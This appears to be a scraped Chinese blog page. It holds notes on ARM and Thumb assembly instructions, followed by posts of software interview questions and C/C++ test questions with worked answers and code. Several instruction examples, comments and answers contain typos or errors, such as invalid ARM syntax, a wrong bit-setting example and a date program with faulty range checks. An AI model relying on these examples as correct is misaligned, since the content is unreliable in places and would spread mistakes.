可选后缀。若有"!",则结果地址写回到Rn。 Reglist读取或存储的寄存器列表,包含在括号中,它也可包含寄存器的范围。若包含多于1个寄存器列表或包含寄存器范围,则必须用逗号分开。 ^ 可选后缀,不允许用户模式或系统模式下使用。它有两个目的: l操作码是LDM且reglist中饱包含PC(R15),那么出除了正常的多寄存器传送外,将SPSR也拷贝到CPSR中.这用于从异常处理返回,仅在异常模式下使用。 l数据传入或传出的是用户模式的寄存器,而不是当前模式的寄存器。注意:对于LDM指令,如包含PC,位0=1时,转至Thumb状态.寄存器组中一般不应有Rn,它至少有1个寄存器。FD、ED、FA、DA用于堆栈操作;IA、IB、DA、DB用于一般的数据传送。 注释:(1)非字对准地址这些指令忽略地址的位[1:0]。在带有系统协处理器的系统中,若对准检查使能,则这2位的非零值将引起对准异常。(2)读取到R15 到R15(程序计数器)的读取将引起处理器转移到读取地址处的指令。在ARM体系结构v5及以上版本的T变量中若读取的位[0]置位,则到R15的读取将导致处理器切换到执行Thumb指令。(3)带写回的存/取基址寄存器如果Rn包含在寄存器列表中,且用后缀"!",指明要写回(write back),那么: l若操作码是STM,县城Rn是寄存器列表中数字最小的寄存器,则将初值保存。 lRn的读取和储存值不可预知。例1:若保存3个工作寄存器状态和返回地址: STMFD R13!,{R0-R2,R14} 若恢复3个工作寄存器状态和返回地址: LDMFD R13!,{R0-R2,R14} 例2: LDMFD R8,{R0,R2,R9} ;((R8))→R0 ;((R8)+4)→R2 ;((R8)+8)→R9 STMDB R1!,{R3-R6,R11,R12} ;(R3)→R1-4 ;(R4)→R1-8 ;(R5)→R1-12 ;(R6)→R1-16 ;(R11)→R1-20 ;(R12)-24→R1 STMD R13!,{R0,R4-R7,LR} ;寄存器进栈例3:子程序调用 SUMB1 STMFD SP!,{R0-R2,R14} ;保护R0~R2和返回地址 ...... ;其它指令 BL ;允许子程序嵌套 ...... ;其它指令 LDMFD SP!,{R0-R2,R15} ;恢复R0~R2,返回子程序调用程序后执行 5. 预读取PLD指令功能:cache预读取(PLD,PreLoad),使用PLD指示存储系统从后面几条指令所指定的存储器地址读取,存储系统可使用这种方法加速以后的存储器访问。 格式: PLD[Rn,{offset}] 其中: Rn 存储器的基址寄存器。 Offset 加在Rn上的偏移量。含义同3。2。3节第1条指令。 注释: PLD指令适用于ARM v5TE指令及以上版本。例: PLD [R9,#-2481] PLD [R0,#av*4] ;av*4必须在汇编时求值,范围为-4095~4095内的整数 PLD [R5,r8,Lsl#2] 6. 内存和寄存器交换类指令功能:用一条指令实现在寄存器和存储器之间交换数据。 格式: SWP{}{B} Rd,Rm,[Rn] ;((Rn))→Rd,Rm→Rn ;n≠m,d 其中: B 可选后缀。若有B,则交换字节;否则,交换32位字。 Rd ARM寄存器。数据从存储器读取到Rd。 Rm ARM寄存器。Rm的数据存储到存储器。Rm可以与Rd相同。Rn必须与Rd和Rm不同。 注释:对非字对准地址的处理同LDR和STR指令。例: ADR R0,SEMAPHORE SWPB R1,R1,[R0] ;交换字节 3.2.4 ARM数据处理类指令大多数ARM通用数据处理有一个灵活的第2操作数(flexi second operand)。在每一个指令的格式中以"operand2"表示。第2条操作数有如下2种可能的格式:(1)#immed_8r 常量的表达式。常量必须对应于8位位图(pattern0。该位图在32位字中,被循环移位偶数位(0,2,4,8,...,26,28,30)。合法常量:0xFF、0xFF000、0xF0000000F。非法常量:0x101、0xFF04、0xFF003、0xFFFFFFFF。(2)±Rm {,shift} Rm 存储第2操作数ARM寄存器。可用各种方法对寄存器中的位图进行移位或循环移位。在指令操作的结果用作第2操作数,但Rm本身不变。 Shift Rm的移位方法,可以是下面的任何一种: ASR n 算术右移n位(1≤n≤32)。 LSL n 逻辑左移n位(0≤n≤31)。 LSR n 逻辑右移n位(1≤n≤32)。 ROR n 循环右移n位(0≤n≤32)。 RRX 带进位的循环右移1位。 Type Rs 其中:Type ASR、LSR、ROP中的种; Rs 提供移位量的ARM寄存器,仅使用于最低有效字节。 ASR、LSL、LSR、ROP和RRX的详细说明如下: ① ASR 若将Rm中的内容看作是有符号的补码整数,那么算术右移(ASR,Arithmetic Shift Right)n位,即Rm中的内容除以 。将原来的位拷贝到寄存器左边的n位中(即空出的最高补符号位),见图3-3(a)。 ② LSR和LSL 若将Rm中内容看作是无符号整数,则逻辑右移(LSR,Logical Shift Right)n位,即Rm中的内容除以 ,寄存器左边的n位置0,见图3-3(b)。若将Rm中内容看作是无符号整数,则将逻辑左移(LSR,Logical Shift Left)n位,即Rm四的内容乘以 ,可能会出现溢出且无警告,寄存器右边的n 位置0,见图3-3(b)。 ③ ROR 循环右移(ROR,Rotate Right)n位,把寄存器内容循环右移,见图3-3(c)。 ④ RRX 若将Rm中内容看作是无符号整数,则带进位右环移n位,寄存器左边的n位置0,见图3-3(d)。 图3-3移位操作过程 1 数据运算类指令功能:完成数据在寄存器中的运算,这些运算包括32位数据的算术、位操作,其中某一个操作数可以经过移位或循环运算。 格式: {}{S}Rd,Rn,Operand2 操作码 包括ADD、SUB、RSB、ADC、SBC、RSC、AND、ORR、EOR、BIC、MOV、MVN、CMP、CMN、TST和TEQ指令。其中: S 可选后缀。若指定S,则根据操作结果更新条件标志(N、Z、C和V)。 Rd ARM结果寄存器。 Rn 存储第1操作数的ARM寄存器。 Operand 第2操作数。详细说明请见3.2.4节第2操作数说明。 ARM的数据运算类指令用法如表3-3所示。表3-3 ARM运算类指令 注释: (1) 条件码标志若指定S,那么ADD、SUB、RSB、ADC、SBC、RSC指令根据结果更新标志N、Z、C和V。CMP、CMN、TST和TEQ指令不需S。注意:减法(含比较)够减时,C=1。而AND、OPR、EOP、BIC、MOV和MVN指令将:①根据结果更新标志N和Z;②计算Operand2时更新标志C;③不影响V标志。 (2) R15的使用 ADD、SUB、RSB、ADC、SBC、RSC、AND、ORR、EOR、BIC、MOV和MVN指令将R15作为Rn使用,那么使用的值是指令的地址加8。若将用R15作为Rd,则 l执行转移到结果对应的地址。 l若后缀"S",则将当前模式的SPSR拷贝到CPSR。可以使用这点从异常返回。在有寄存器控制移位的任何数据处理指令中,不能将R15作为Rd或任何操作数来使用。 CMP、CMN、TST和TEQ指令若将R15用作Rn,则使用的值是指令的地址加8。在有寄存器控制移位的任何数据处理指令中,不能将R15用于任何操作数。例1: ADD R2,R1,R3 ;(R1)+(R3)→R2 例2: SUBS R2,R2,#1 ;(R2)-1→R2 BEQ LABEL ;如等于0,转向LABEL 例3:R0中的内容乘以5: ADD R0,R0,R0,LSL #2 ;(R0)*5→R0 ADD R0,R0,LSL #1 例4:R0中的内容乘以10: ADD R0,R0,R0,LSL #2 ;(R0)*10→R0 MOV R0,R0,LSL #1 例5:R0中的内容乘以10,再加R1中的内容: ADD R0,R0,R0,LSL #2 ;(R0)*10+R1→R0 MOV R0,R1,R0,LSL #1 例6: ADDS R2,R2,R0 ;(R3R2)+(R1R0)→R3R2 ADC R3,R3,R1 例7: ADDNE R0,R1,#&ff ;if Z=0 then(R1)+0xff→R0 例8:R1中的内容乘7,送给R0: RSB R0,R1,R1,LSL #3 ;(R1)*7→R0 2 前导零计数指令功能:CLZ(Count Leading Zeros)指令对Rm中值的高位(leading zeros)个数进行计数,结果放到Rd中。若源寄存器全为0,则结果为32。若[31]为1,则结果为0。 格式: CLZ{}Rd,Rm 其中: Rd ARM结果寄存器,Rd不允许是R15。 Rm 操作数寄存器。注释: CLZ指令适用于ARM v5指令系统以上版本。这条指令不影响条件码标志。例: CLZ R4,R9 CLZNE R2,R3 3 乘法指令格式: (1) MUL{}{S},Rd,Rm,Rs (2) MLA{}Rd,Rm,Rs,Rn 其中: Rd 结果寄存器。 Rm,Rs,Rn 操作数寄存器。 R15不能用于Rd,Rm,Rs或Rn。Rd不能与Rm相同。 (3) {}{S}RdHi,RdLO,Rm,Rs mul中类型包括UMILL、UMLAL、SMULL、SMLAL。其中: RdLo,RdHi ARM结果寄存器。对于UMLAL和SMLAL,这两个寄存器用于保存累加值。 Rm,Rs 操作数寄存器。 R15不能于RdHi,RdLo,Rm或Rs。RdLO、RdHi和Rm必须是不同的寄存器。 (4) SUML{条件码}Rd,Rm,Rs 其中: B或T。B意味着使用Rm的低端(位[15:0]),T意味着使用Rs的高端(位[31:16])。 B或T。B意味着使用Rm的低端(位[15:0]),T意味着使用Rs的高端(位[31:16])。 Rd 结果寄存器。 Rm,Rs 乘数寄存器。 R15不能用于Rd,Rm和Rs。Rd、Rm、Rs可用相同的寄存器。 (5) SMLA{条件码}Rd,Rm,Rs可用相同的寄存器。其中:、、Rm和Rn含义同SMUL指令。 R15不能用于Rd、Rm和Rs。Rd、Rm、Rs可用相同的寄存器。 (6) SMULW{条件码}Rd,Rm,Rs 其中:、Rd、Rm、Rs和Rn含义同SMUL指令。 R15不能用于Rd、Rm和Rs。Rd、Rm、Rs可用相同的寄存器。 (7) SMULW{条件码}Rd,Rm,Rs 其中:、Rd、Rm、Rs和Rn含义同SMUL指令。 R15不能用作Rd、Rm、Rs或Rn的任何一个。任何Rd、Rm、Rs或Rn可用相同的寄存器。 (8) SMULW{条件码}Rd,Rm,Rs,Rn 其中:、Rd、Rm、Rs和Rn含义同SMUL指令。 R15不能用作Rd、Rm、Rs或Rn的任何一个。任何Rd、Rm、Rs或Rn可用相同的寄存器。 (9) SMULW{条件码}RdLo,RdHi,Rm,Rs 其中:含义同SMULxy指令。 RdHi,RdLo 结果寄存器。它们也存储累加值。 Rm,Rs 乘数寄存器。 ARM乘法类指令用法如表3-4所示。表3-4 ARM乘法类指令 注释:若指定S标志位,则MUL和MLA指令将:①根据结果更新标志N和Z;②不影响标志V;③在ARM v4以前版本中标志C不可靠;④在ARM v5及以后版本中不影响标志C。若指定结果S标志位,则UMULL,UMLAL,SMULL和SMLAL指令将:①根据结果更新标志N和Z;②在ARM v4及以前版本中标志C不可靠;③在ARM v5及以后版本中不影响标志C或V。 SMULAxy指令不影响任何条件码标志。若加法出现溢出,则置位标志Q。使用MRS指令读标志Q的状态。注意:这条指令永远也不会清除Q标志。要清除Q标志,则应使用MSR指令。 SMULxy、SMULWy、SMLALxy指令不影响任何条件标志。 SMULxy、SMULWy、SMLALxy、SMLAxy和SMLAWy指令适用于ARM v5TE指令系统及以上版本。例: SMLALLES R8,R9,R7,R6 SMULLNE R0,R1,R9,R0 4 QADD、QSUB、QDAAA和QDSUB指令功能:这4条指令属于DSP增强指令,完成饱和加、饱和减,饱和乘2加、饱和乘2减4种饱和运算功能。 格式: {条件码}Rd,Rm,Rn 包括:QADD、QSUB、QDADD和QDSUB指令。其中: Rd 结果寄存器。 Rm,Rn 操作寄存器。 注释:饱和运算是DSP指令所特有的功能,对加/减法指令的结果做了如下修改: (1) 如果加/减法指令的结果在- ~ -1之间,饱和运算的结果取加/减法指令的结果。 (2) 如果加/减法指令的结果大于 -1,饱和运算的结果取最终结果为 -1。 (3) 如果加/减法指令结果小于- ,饱和运算的结果取最终结果为时尚- 。 QDADD和QDSUB指令计算SAT(Rm+SAT(Rn*2)),饱和可发生在加倍操作,加法上,或两咱情况下同时发生。或饱和仅发生在加倍操作上,则标志Q置位,但最后结果是不饱和的。SAT意为饱和运算。这些指令不影响标志N、Z、C和V。若出现饱和,则置位Q标志。可使用MRS指令来读Q标志的状态。注意:即使是饱和不出现,这些指令也从不清除Q标志。使用MSR指令清除Q标志。 QADD、QSUB、QDADD和QDSUB指令适用于ARM v5TE指令系统及以上版本。例: QADD R0,R1,R9 ;SAT(R1+R9)→R0 QDSUBLT R9,R0,R1 ;SAT(R0-SAT((R9)*2))→R9 3.2.5 ARM转移类指令 ARM转移类指令完成循环、调用子程序和从ARM状态转向Thumb状态等功能,包括B、BL、BX和BLX指令。 1 转移/转移带链接类指令功能:B、BL指令完成当前执行指令地址的转移,偏移地址量可以达到32M,BL指令可以把转移指令后第1条指令的地址放进链接寄存器R14中完成连接作用,通常用来完成子程序的调用。转移地址通常由24位有符号数组成,由于指令地址的代位为00,故可进行2位的左移运算,因此总的偏移量达到±32M。 格式: B{L}{} 其中: Label 程序相对偏移表达式。 注释: BL(Branch and Link)指令将下一条指令的地址拷贝到R14(LR,链接寄存器)并引起处理器转移到Label。BL指令(L=1),等价于先把(PC)→R14,再(PC)+offset→PC. 机器级的B和BL指令限制在当前指令的± (±32M)字节范围内。但是,即使Label走超出了该范围,汇编可以使用这些指令。例1:条件转移。 CMP R0,35 ;如果R0小于5 BLT SUB1 ;则转SUB1 BGE SUB2 ;否则转SUB2 例2:程序调用。 BL SUB ;调用子程序SUB ... ;返回点 SUB ... ;子程序入口 MOV PC,R14 ;执行完返回例3:执行循环。 MOV R0,#10 ;设置循环次数 LOOP ... SUBS R0,#1 ;循环次数减1 BNE LOOP ;如果循环次数不为0,继续循环 ... ;否则结束循环 2 转移交换、转移带链接和交换指令BX,BLX 功能:BX、BLX指令用来支持者Thumb指令集,可以全处理器由ARM指令转向Thumb指令或者由于某种原因Thumb指令返回到执行ARM指令。 格式:(1)B{L}X{}寄存器Rm (2)BLX 其中: RM 含有转移地址的寄存器。Rm的位[0]不用来作为地址的一部分。若Rm的位[0]为1,则指令将CPSR中的标志T置位,且将目标地址的代码解释为Thumb代码。若Rm的位[0]为0,则位[1]就不能为1。 注释:在指令格式中,寄存器Rm中可以存放转移地址的值,如果Rm中的第0位为1,处理器将Thumb指令;如果为0,执行ARM指令。在指令格式2中偏移地址量的计算与B或BL指令相同。 BLX指令有如下用法: l将下一条指令的地址拷贝到R14中(LR,链接寄存器)。 l转移到Label或Rm中的地址。 l若下面的两条中的任何一条成立,则指令集切换到Thumb,即 -Rm的位[0]为1; -使用"BLX Label"形式。机器级的"BLX Label"指令不能转移当前指令±32MB范围之外的地址BLX指令格式1可以是条件或者无条件执行,而指令格式2是无条件执行。例1:无条件转移。 BX R0 ;按R0内容转移;如果R[0]为1,转Thumb状态例2:Thumb子程序调用。 CODE32 ;ARM代码 ... BLX TSUB ;Thumb代码执行 TSUB ... ;Thumb指令TSUB子程序 BX R14 ;返回ARM代码 3.2.6 ARM协处理器类指令 ARM协处理器指令完成与协处理器有关的操作,如协处理器内部寄存器之间的数据传送、协处理器与存储器之间的数据传送、协处理器与CPU寄存器之间的数据传送。这些指令依赖于使用特写的协处理器。协处理器设计者可以自由地按需要设计处理器的功能,而且这些指令通常借助于汇编器。 1CDP和CDP2指令(CDP,Coprocessor Data operation)功能:完成协处理器寄存器数据操作。 格式:CDP{条件码} CP#,opcodel,CRd,CRn,CRm{,opcode2} CDP2 CP#,opcodel,CRd,CRn,CRm{,opcode2} 其中: CP# 指令操作的协处理器名。标准名为pn,n为0~15范围内的整数。 Opcode1 协处理器的特定操作码。 CRzn,CRm,CRn 协处理器寄存器。 Opcode2 可选的协处理器特定操作码。 注释: CDP2指令设置条件码为0b1111,为协处理器设计者提供额外的opcode空间。CDP2指的是适用于ARM v5指令系统及以上版本。例: CDP p1,10,C1,C2,C3 ;协处理器1中的处理器C2和C3完成操作10然后 ;将结果放在C1中 CDPEQ p2,5,C1,C2,C3 ;如果Z位置1,那么协处理器2中的C2和C3完成 ;操作5(子操作2),然后将结果放在C1中 2 LDC和STC指令功能:在存储器和协处理器之间传送数据。 格式: (1) 零偏移格式 LDC|STC{}{L},CRd,[Rn] (2) 前变址格式 LDC|STC{}{L},CRd,[Rn,#offset]{!} LDC2|STC2{< CP#>>},CRd, [Rn,#offset]{!} (3) 后变址格式 LDC|STC{}{L},CRd,[Rn],#offset LDC2|STC2{< CP#>>},CRd, [Rn],#offset 其中: L 可选后缀,指明是长整数传送。 CP# 指令操作的协处理器名。标准名为pn,其中n为0~15范围内的整数。 CPd 用于读取或存储的协处理器寄存器。 Rn 存储器基址寄存器。若指定R15,则使用的值是当前指令地址加8。 Offset 偏移量,其值必须为4的整倍数,范围在0~1020之间。 注释: LDC2和STCC2指令设置条件码条件码为b1111,为协处理器设计者提供额外的opcode空间。LDC2和STC2指令适用于ARM v5指令系统及以上版本。注意:LDC2和STC2始终是无条件的。 例1: LDC p6,CR1,[R4] ;将存储器中的内容取至协处理器6 ;寄存器CR1中R4为所以内容地址 例2: LDC p6,CR4,[R2,4] ;将存储器中的内容取至协处理器6 ;寄存器CR4中R2+4为所以内容地址 例3: STC p8,CR8,[R2,#4]! ;将协处理器8寄存器CR8中的内容存;至存储器中R2+4为所存内容的地址;然后,R2=R2+4 例4: STC p6,CR9,[R2],#-16 ;将协处理器6寄存器CR9中的内容存;至存储器中R2为所存内容的地址;然后,R2=R2-16 3 MRC、MRC2、MCR和MCR2指令功能:在协处理器与ARM寄存器之间传送数据。 格式:(1)从协处理器传送至ARM寄存器 MRC{},,Rd,CRn,CRm{,} MRC2 ,,Rd,CRn,CRm{,} (2)从ARM寄存器传送至协处理器 MCR{},,Rd,CRn,CRm{,} MRC2 ,,Rd,CRn,CRm{,} 本组指令格式中所有操作数的含义同(CDP和CDP2)。 注释: MRC2和MCR2指令设置条件码为0b1111,为协处理器设计者提供额外的操作码字段。MRC2和MCR2指令适用于ARM v5指令系统及以上版本。注意:MRC2和MCR2始终是无条件的。例1: MRC p15,R4,C0,C2,3 ;协处理器15中的寄存器C0和C2完成;操作5(子操作3),然后将结果传到;CPU寄存器4中例2: MCR p14,1,R7,C7,C12,6 ;协处理器14在CPU寄存器7中完成 ;操作1(子操作6,然后将结果传到协;处理器14的寄存器C12中 4 MCRR和MRRC指令功能:在2个ARM寄存器和协处理器之间进行数据传送。 格式: MRRC{},,Rd,CRn,CRm MCRR{},,Rd,CRn,CRm 本指令格式中所有操作数的含义同本小节第1条指令(CDP和CDP·)。MCRR和MRRC指令适用于ARM v5TE指令系统及以上版本。 3.2.7 ARM杂项指令 1 状态寄存器传送至通用寄存器类指令功能:将状态寄存器的内容传送至通用寄存器。 格式: MRS{}Rd,CPSR}SPSR 其中: Rd 目标寄存器,Rd不允许R15。 R=0 将CPSR中的内容传送目的寄存器。 R=1 将SPSR中的内容传送至目的寄存器。 注释: MRS与MSR配合使用,作为更新PSR的读-修改-写序列的一部分。例如:改变处理器或清除标志Q。注意:当处理器在用户模式或系统模式下,一定不能试图访问SPSR 这条指令不影响条件码标志。例: MRS R0,CRSR ;将CPSR中的内容传送至R0 MRS R3,SPSR ;将SPSR中的内容传送至R3 2 通用寄存器传送至状态寄存器传送指令功能:将通用寄存器的内容传送至状态寄存器。 格式: MSR{CPSR_f|SPSR_f,<#ommed_8r> MSR{CPSR_|SPSR_,Rm 其中:字段可以是以下之一或多种: lC:控制域屏蔽字段(PSR中的第0位到第7位); lX:扩展域屏蔽字段(PSR中的第8位到第15位); lS:状态域屏蔽字段(PSR中的第16位到第32位); lF:标志域屏蔽字段(PSR中的第24位到第31位)。 immed_8r 值数字常量的表达式。常量必须对应8位位图。该位图在32位字中循环移位偶数数位。 Rm 源寄存器。 注释:同前一条指令(MRS)。例1:设置N、Z、C、V标志。 MSR CPSR_f,#&f0000000 ;仅高位有效,其他必须为0 例2:仅置位C标志,保留N、Z、V标志。 MRS R0,CPSR ;将CPSR中的内容传送至R0 ORR R0,R0,#&1f ;置位R0的第29位 MSR CPSR_c,R0 ;再将R0中的内容传送至CPSR 3 软件中断指令SWI 格式: SWI{immed_24 其中: immed_24 表达式,其值范围为0~ -1的整数(24位整数)。 注释: (1) SWI指令用来执行系统调用,处理器进入管理模式,并从地址0x08开始执行指令并不影响指令的执行,由系统所解释。CPSR保存到管理模式的SPSR中执行转移到SWI向量。 (2) 条件码标志。这条指令不影响条件码标志。例1:输出字符"A" MOV R0,#"A" ;从R0中得到"A" SWI SWI_WriteC ;然后显示例2:通过SWI指令输出字符串 ... BL STROUT ;输出如下信息 = "Hello World",&0a,&0d,0 ... ;返回 STROUT LDRB R0,R[14],#1 ;得到字符 CMP R0,#0 ;检查结束标记 SWINE SWI_WriteC ;如果没有结束,则继续 BNE STROUT ;...循环 ADD R14,#3 ;字对齐 BIC R14,#3 MOV PC,R14 ;返回例3:结束用户程序返回监控程序 SWI SWI _Exit ;返回 4 断占指令(v5T)格式: BKPT immmed_16 其中: immmed_16 表达式,基值范围为0~65536内的整数(16位整数)。 注释:支持软件调试,执行时中断正常指令,进入相应的调试子程序。BKPT指令适用于ARM v5指令系统及以上版本。例: BKPT 3.3 Thumb指令系统并非所有的ARM处理器都可以执行Thumb指令,在指令集名中,含有T的均可执行Thumb指令,如ARM7TDMI。 CPSR中的T标志决定是执行Thumb指令还是ARM指令,如置位,执行Thumb指令,否则执行ARM指令。 ARM在复位以后,执行ARM指令。通常至Thumb指令的执行是由一条转移和交换指令完成的,如BX指令。但是例程处理程序中如果使用数据处理指令或者多寄存器调用指令,也会转移到Thumb指令中去。如果例程处理完毕,也将返回ARM指令中。必须明确的是Thumb指令系统必须包括ARM代码,至少是初始化和例程入口部分。 Thumb指令集是ARM指令集的子集,Thumb只使用有限的ARM寄存器。Thumb指令一般可以完全访问通用寄存器R0~R7(称为低寄存器),R13用作堆栈指针,R14用作链接寄存器,R15用作PC。Thumb中的一些指令可以访问其余的寄存器如R8~R15(称为高寄存器),算术运算和逻辑运算指令可以访问CPS2中的标志位。大部分的Thumb 指令与ARM指令类似,不过在寄存器、立即数、寻址等方面会有些差异,Thumb和ARM指令性计划集的区别一般有以下几点: l转移指令; l数据传送指令; l单寄存器Load和Store指令; l多寄存器Load和Store指令。 Thumb指令集没有协处理器指令、信号量(samaphore)指令以及访问CPSR或SPSR的指令。 (1) 转移指令转移指令用于: l向后转移形成循环; l条件结构向前转移; l转向子程序; l处理器从Thumb状态切换到ARM状态。程序相对转移,特别是条件转移与在ARM状态下相比,在范围上有更多的限制,转向子程序只能是无条件转移。 (2) 数据处理指令这些指令对通用寄存器进行操作,在许多情况下,操作的结果必须放入其中一个操作数寄存器中,而不是第3个寄存器中。数据处理操作比ARM状态更少,访问寄存器R8~R15受到一定限制。 MOV或ADD指令可访问寄存器R8~R15,数据处理指令总是更新CPS2中的ALU状态标志。访问寄存器R8~R15的Thumb数据处理指令不能更新标志。 (3) 单寄存器Load和Store指令这些指令从存储器读取1个寄存器值,或把1个寄存器值存储到存储器。在Thumb状态下,这些指令只能访问寄存器R0~R7。 (4) 多寄存器Load和Store指令LDM和STM将任何范围为R0~R7的寄存器子集从存储器读取以及存储到存储中。PUSH和POP指令使用堆栈指针(R13)作为基址实现满递减堆栈。除可传送R0~R7外,PUSH还可以用于存储连接寄存器,POP可以用于读取程序指针。 Tuhmb指令主要有以下几类指令组成:Tuhmb Load/Store类指令;Thumb数据运算类指令;Thumb转移类指令,以及软件中断指令。 16:17 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!144.entry 添加评论 10月13日 某软件公司的笔试题 1  (A)介绍一下JAVA中的包机制(B)介绍一下C++中的空间机制 2   (a)java中instance运算符是做什么用的?(b)c++中sizeof运算符是做什么用的? 3   (a)描述JAVA中接口的作用(b)描述下C++中的纯虚数的作用        如果两者都知道,请比较他们之间的异同。 4   描述JAVA异常处理机制  并说明try,catch,finally,throw,throws五个关键字的作用分别是什么? 5   (c/c++)使用#define定义一个带参宏,返回a,b两数中较大的一个。再定义一个内联函数,完成同样的功能     在这样的情况下,两中实现方式用什么共同点?内联函数的优势在什么地方? 6   下面两个不同的类:     public class Singleton{            private Singleton{}            private static Singleton instance=new Singleton();            public static Singleton getlnstance(){            return instance;            }     }     public class Singleton{            private static Singleton instance=null;            public static Singleton getlnstance(){            if (instance==null)                instance=new Singleton();            return instance;            }     } 这两种方式有什么区别?各有什么优点? 第二部分  简单编程 7  用你熟悉的语言,在不容许使用第三个变量下,实现一个函数,把两个参数的值对调。 8  请用你熟悉的语言实现函数,将一个十进制INT数字转化为16进制字符串并返回。    (不得使用系统现有的转换函数) 9 请给一个单链表逆置的算法。 10 现有栈结构以及操作    Void push (int i);//入栈   int pop();//出栈   boolean isEmpty();//判断栈是否为空    请使用两个栈模拟一个队列,要实现的队列的操作有:    Void enQueue(int i);//入队   int deQueue();//出队   boolean isEmptyQueue();//判断队列是否为空 11 用你熟悉的语言实现:    从已知数组D的前N个元素找出所有部分元素序列之和等于total的元素序列,约定数组D的元素都是正整数,    且都小于total. 12 洗牌程序:用任何语言,编写一个程序,随机分配52张扑克牌放到52个位置上,每个位置只容许放一张牌 13 用英语回答以下问题:    what do you understand by the two terms, "Object Oriented Programming" and                                             "Modular Programming"? 补充几题 1 java 中垃圾回收的优点和基本原理,并描述2种垃圾回收机制。 2 设计2个线程,其中一个线程每次对I增加1,另一个每次对I减少1,写出程序。 3 什么是位图?你知道哪些是位图格式? 注:看一下八皇后,字符串中寻找子串,在数组中二分查找。 大家可以看下,有会的可以留下答案和意见,大家参考啊 19:58 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!143.entry 添加评论 C++试题 C++试题 http://lyo.coms.cn/  2004-12-6   1.    找错 Void test1() {     char string[10];     char* str1=”0123456789”;    strcpy(string, str1);  } 越界; Void test2() {     char string[10], str1[10];     for(I=0; I<10;I++)    {         str1[i] ='a';     }     strcpy(string, str1); } I没有初始化,strcpy拷贝源字符串到/0结束,无结束符; Void test3(char* str1) {     char string[10];     if(strlen(str1)<=10)    {     strcpy(string, str1);     } } 对于字符串,strlen只算第一个/0前的所有字符数目; 2.    找错 #define MAX_SRM 256 DSN get_SRM_no() {         static int SRM_no;         int I;          for(I=0;I        {             SRM_no %= MAX_SRM;             if(MY_SRM.state==IDLE)             {                   break;             }        }          if(I>=MAX_SRM)       {              return (NULL_SRM);        }        else        {              return SRM_no;        } } 无初始化; 3.    写出程序运行结果 int sum(int a) {         auto int c=0;         static int b=3;         c+=1;         b+=2;         return(a+b+C); }      void main() {         int I;         int a=2;         for(I=0;I<5;I++)        {            printf(“%d,”, sum(a));         } }  8,10,12,14,16 4.     int func(int a) {     int b;     switch(a)     {         case 1: 30;         case 2: 20;         case 3: 16;         default: 0      }      return b;    } 则func(1)=? 没有break,0; 5: int a[3]; a[0]=0; a[1]=1; a[2]=2; int *p, *q; p=a; q=&a[2]; 则a[q-p]=? 2 6.  定义 int **a[3][4], 则变量占有的内存空间为:__48__ 7. 编写一个函数,要求输入年月日时分秒,输出该年月日时分秒的下一秒。如输入2004年12月31日23时59分59秒,则输出2005年1月1日0时0分0秒。 #include "stdafx.h" #include <iostream.h> int main(int argc, char* argv[]) {     //编写一个函数,要求输入年月日时分秒,  //输出该年月日时分秒的下一秒。  //如输入2004年12月31日23时59分59秒,则输出2005年1月1日0时0分0秒。  int nYear = 0,nMonth = 0,nDay = 0,nHour = 0,nMinute = 0,nSecond = 0,leapyear=0;  cout << "Enter a Year :";  cin >> nYear;  if(nYear%4==0&&nYear%100!=0||nYear%400==0)   leapyear=1;     cout << "Enter a Month :";  cin >> nMonth;  if((nMonth<1) || (nMonth>12))  {   cout<<"month is error!!!!";   return 0;  }  cout << "Enter a Day :";  cin >> nDay;  switch(nMonth)     {     case 1:     case 3:     case 5:     case 7:     case 8:     case 10:     case 12:      if((nDay<1) || (nDay>31))      {       cout<<"Day is error!!!!";       return 0;      }      break;     case 4:     case 6:     case 9:     case 11:      if((nDay<1) || (nDay>30))      {       cout<<"Day is error!!!!";       return 0;      }      break;     case 2:      if(leapyear==0)      {       if((nDay<1) || (nDay>28))       {        cout<<"Day is error!!!!";        return 0;       }       break;      }      else      {       if((nDay<1) || (nDay>29))       {        cout<<"Day is error!!!!";        return 0;       }       break;      }           }  cout << "Enter a Hour :";  cin >> nHour;  if((nHour<1) || (nHour>24))  {   cout<<"Hour is error!!!!";   return 0;  }  cout << "Enter a Minute :";  cin >> nMinute;  if((nMinute<1) || (nMinute>60))  {   cout<<"Minute is error!!!!";   return 0;  }  cout << "Enter a Second :";  cin >> nSecond;  if((nSecond<1) || (nSecond>60))  {   cout<<"Sencond is error!!!!";   return 0;  }  cout<<"输入年月日时分秒为:"<<nYear<<"年"<<nMonth   <<"月"<<nDay<<"日"<<nHour<<"时"<<nMinute<<"分"<<nSecond<<"秒"<<endl;  if(nSecond==59)  {   nSecond=0;   nMinute=nMinute+1;   if(nMinute==60)   {    nMinute=0;    nHour=nHour+1;    if(nHour==24)    {     nHour=0;     nDay=nDay+1;     switch(nMonth)     {     case 1:     case 3:     case 5:     case 7:     case 8:     case 10:     case 12:      if(nDay==32)      {       nDay=1;       nMonth=nMonth+1;       if(nMonth==13)       {        nMonth=1;        nYear=nYear+1;       }      }      break;     case 4:     case 6:     case 9:     case 11:      if(nDay==31)      {       nDay=1;       nMonth=nMonth+1;       if(nMonth==13)       {        nMonth=1;        nYear=nYear+1;       }      }      break;     case 2:      if(leapyear==0)      {       if(nDay==29)       {        nDay=1;        nMonth=nMonth+1;        if(nMonth==13)        {         nMonth=1;         nYear=nYear+1;        }       }      }      else      {       if(nDay==30)       {        nDay=1;        nMonth=nMonth+1;        if(nMonth==13)        {         nMonth=1;         nYear=nYear+1;        }       }      }            break;     }    }   }  }    cout<<"输出该年月日时分秒的下一秒:"<<nYear<<"年"<<nMonth   <<"月"<<nDay<<"日"<<nHour<<"时"<<nMinute<<"分"<<nSecond<<"秒"<<endl;  return 0;  } 19:57 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!142.entry 添加评论 软件方向的笔试题 软件方向的笔试题 http://lyo.coms.cn/  2004-12-6   How do you code an infinite loop in C?  2. Volatile:     a) What does the keyword volatile mean? Give an example     b) Can a parameter be both const and volatile? Give an example     c) Can a pointer be volatile? Give an example  3.  What are the values of a, b, and c after the following instructions:      int a=5, b=7, c;      c = a+++b;  4,  What do the following declarations mean?          a) const int a;          b) int const a;          c) const int *a;          d) int * const a;          e) int const * a const;  5.  Which of the following statements describe the use of the keyword  static?  a) Within the body of a function: A static variable maintains its value        